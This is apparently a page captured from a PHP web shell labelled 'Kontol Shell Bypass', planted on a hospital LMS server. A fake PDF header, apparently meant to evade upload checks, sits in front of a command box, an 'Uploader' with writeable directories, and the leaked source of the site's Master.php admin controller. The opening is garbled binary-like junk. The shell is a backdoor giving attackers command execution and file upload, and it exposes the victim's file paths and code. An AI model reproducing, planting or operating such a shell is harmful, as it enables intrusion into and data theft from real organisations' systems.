%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lms/api/application/controllers/Master.php
<?php
class Master extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res(); 
		$this->load->model("master_model", "master");
	}

	/** Admin Emalils */
	function adminEmails(){
		$this->checkAccess('manage_masterdata');
		$res=$this->master->adminEmails();
		$this->json_data($res);
	}

	function saveAdminEmail(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[master_admin_emails.email.id!='$id']", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'email', 'send_payment_alert', 'send_appointment_alert','send_issue_alert'));
			$data['send_payment_alert']=(int)@$data['send_payment_alert'];
			$data['send_appointment_alert']=(int)@$data['send_appointment_alert'];
			$data['send_issue_alert']=(int)@$data['send_issue_alert'];
			if($this->common->save($data, "master_admin_emails")){
				$inf['success']='T';
				$inf['msg']='Admin Email '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}

	function adminEmailDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->adminEmailDetal($id);
		$this->json_data($dtl);
	}

	function deleteAdminEmail(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteAdminEmail($id)){
			$inf['success']='T';
			$inf['msg']="Email deleted successfully";
		}
		$this->json_data($inf);
	}

	/** \ */

	/** GA Code */
	function getGACode(){
		$inf['dtl']=$this->common->getGACode();
		$this->json_data($inf);
	}

	function saveGACode(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());

		$d=array('datavalue'=>$post['head'], 'updated_by'=>USER_ID, 'updated'=>currentDT());
		$this->db->update("master_data", $d, array('datakey'=>'gacode_head'));
		$d=array('datavalue'=>$post['body'], 'updated_by'=>USER_ID, 'updated'=>currentDT());
		$this->db->update("master_data", $d, array('datakey'=>'gacode_body'));
		$d=array('datavalue'=>$post['key'], 'updated_by'=>USER_ID, 'updated'=>currentDT());
		$this->db->update("master_data", $d, array('datakey'=>'gacode_key'));
		
		if($this->db->affected_rows()){
			$inf['success']='T';
			$inf['msg']="Google analytics code updated";
		}
		$this->json_data($inf);
	}
	/** \ */


	/** UTM Sources */
	function utmSources(){
		$this->checkAccess('manage_sources');
		$res['result']=$this->master->utmSources(true);
		$this->json_data($res);
	}
		
	function saveUtmSource(){
		$this->checkAccess('manage_sources');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_utm_sources.title.id!='$id']", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'grp', 'default_for_admin', 'status'));
				$default_for_admin = ($post['default_for_admin']) ?? 0;
				if($default_for_admin == '1'){
					$this->dba->update('master_utm_sources',['default_for_admin'=>'0'], ['1'=>'1']);
				}
				if($this->common->save($data, "master_utm_sources")){
					$inf['success']='T';
					$inf['msg']='Source '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function utmSourceDtl($id){
		$this->checkAccess('manage_sources');
		$dtl=$this->master->utmSourceDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteUtmSource(){
		$this->checkAccess('manage_sources');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteUtmSource($id)){
			$inf['success']='T';
			$inf['msg']="Source deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** States */
	function states(){
		$this->checkAccess('manage_states_cities');
		$res['result']=$this->master->states();
		$this->json_data($res);
	}
		
	function saveState(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_states.title.id!='$id']", $this->req);
			$this->form_validation->set_rules('code', 'Code', "required|is_unique[master_states.code.id!='$id']", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'code', 'status'));
				if($this->common->save($data, "master_states")){
					$inf['success']='T';
					$inf['msg']='State '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function stateDtl($id){
		$this->checkAccess('manage_states_cities');
		$dtl=$this->master->stateDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteState(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteState($id)){
			$inf['success']='T';
			$inf['msg']="State deleted successfully";
		}
		$this->json_data($inf);
	}

	function initCities(){
		$this->checkAccess('manage_states_cities');
		$data['allStates']=$this->common->allStates();
		$this->json_data($data);
	}

	function getCities($stateId=''){
		$this->checkAccess('manage_states_cities');
		$data['cities']=$this->master->cities($stateId);
		$this->json_data($data);
	}

	function saveCity(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		
		$id=$post['id']=intval($post['id']);

		$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
		$this->form_validation->set_rules('title', 'City Name', "required", $this->req); //|is_unique[master_cities.title.id!='$id']
		$this->form_validation->set_rules('pincode', 'Pincode', "required", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'state_id', 'title', 'pincode', 'status'));
			
			if($plan_id=$this->common->save($data, "master_cities")){
				$inf['success']='T';
				$inf['msg']='City '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}

	function cityDetail($id=0){
		$this->checkAccess('manage_states_cities');
		$dtl=$this->master->cityDetail($id);
		$this->json_data($dtl);
	}

	function deleteCity(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteCity($id)){
			$inf['success']='T';
			$inf['msg']="City deleted successfully";
		}
		$this->json_data($inf);
	}

	function uploadCityExcel(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if(!$post['state_id']){
			$this->json_data($inf);
		}
		$this->load->library('excel');
		$rows=$this->excel->read($_FILES['file']['tmp_name']);
		
		$c=0;
		foreach($rows as $i=>$r){
			if($i==0) continue;
			$city=trim($r[0]);
			$pincode=trim($r[1]);
			if($city){
				if(!$this->db->select("id")->get_where("master_cities", array('title'=>$city, 'state_id'=>$post['state_id']))->row()->id){
					$d=array('state_id'=>$post['state_id'], 'title'=>$city, 'pincode'=>$pincode, 'status'=>1, 'created_by'=>USER_ID, 'updated_by'=>USER_ID, 'created'=>currentDT(), 'updated'=>currentDT());
					$this->db->insert("master_cities", $d);
					$c++;
				}
			}
		}
		$inf['success']='T';
		$inf['msg']="$c records added";
		$this->json_data($inf);
	}
	/** \ */

	/** Notifications */
	function notifications(){
		$this->checkAccess('manage_notifications');
		$res['result']=$this->master->notifications();
		$this->json_data($res);
	}
		
	function saveNotification(){
		$this->checkAccess('manage_notifications');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('msg', 'Message', "required", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'msg', 'status'));
			if($this->common->save($data, "notifications")){
				$inf['success']='T';
				$inf['msg']='Notification '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function notificationDtl($id){
		$this->checkAccess('manage_notifications');
		$dtl=$this->master->notificationDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteNotification(){
		$this->checkAccess('manage_notifications');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteNotification($id)){
			$inf['success']='T';
			$inf['msg']="Notification deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Faq */
	function initFaq(){
		$this->checkAccess('manage_faq');
		$data['result']=$this->master->faqs();
		$data['cats']=$this->common->faqCats();
		$this->json_data($data);
	}

	function faqs(){
		$this->checkAccess('manage_faq');
		$data['result']=$this->master->faqs();
		$this->json_data($data);
	}

	function saveFaq(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if(!$post['question']){
			$inf['msg']="Question is required"; $this->json_data($inf);
		}
		if(!$post['ans']){
			$inf['msg']="Answer is required"; $this->json_data($inf);
		}
		if(!$post['cat_ids']){
			$inf['msg']="Select category"; $this->json_data($inf);
		}
		
		$id=$post['id']=intval($post['id']);
		$data=filter_value($post, array('id', 'question', 'ans', 'disp_odr', 'status'));
		$data['cat_ids']=implode(",", $post['cat_ids']);
		
		if($this->common->save($data, "master_faq")){
			$inf['success']='T';
			$inf['msg']='Faq '.($id?'updated':'added').' successfully';
		}

		$this->json_data($inf);
	}

	function faqDetail($id=0){
		$this->checkAccess('manage_faq');
		$dtl=$this->master->faqDetail($id);
		$this->json_data($dtl);
	}

	function deleteFaq(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteFaq($id)){
			$inf['success']='T';
			$inf['msg']="Faq deleted successfully";
		}
		$this->json_data($inf);
	}

	function faqCats(){
		$this->checkAccess('manage_faq');
		$data['cats']=$this->common->faqCats();
		$this->json_data($data);
	}

	function saveFaqCat(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);

		$this->form_validation->set_rules('title', 'Category Name', "required|is_unique[master_faq_cats.title.id!='$id']", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'status'));
			
			if($plan_id=$this->common->save($data, "master_faq_cats")){
				$inf['success']='T';
				$inf['msg']='Category '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}

	function faqCatDetail($id=0){
		$this->checkAccess('manage_faq');
		$dtl=$this->master->faqCatDetail($id);
		$this->json_data($dtl);
	}

	function deleteFaqCat(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteFaqCat($id)){
			$inf['success']='T';
			$inf['msg']="Category deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */
}

//EOF

Kontol Shell Bypass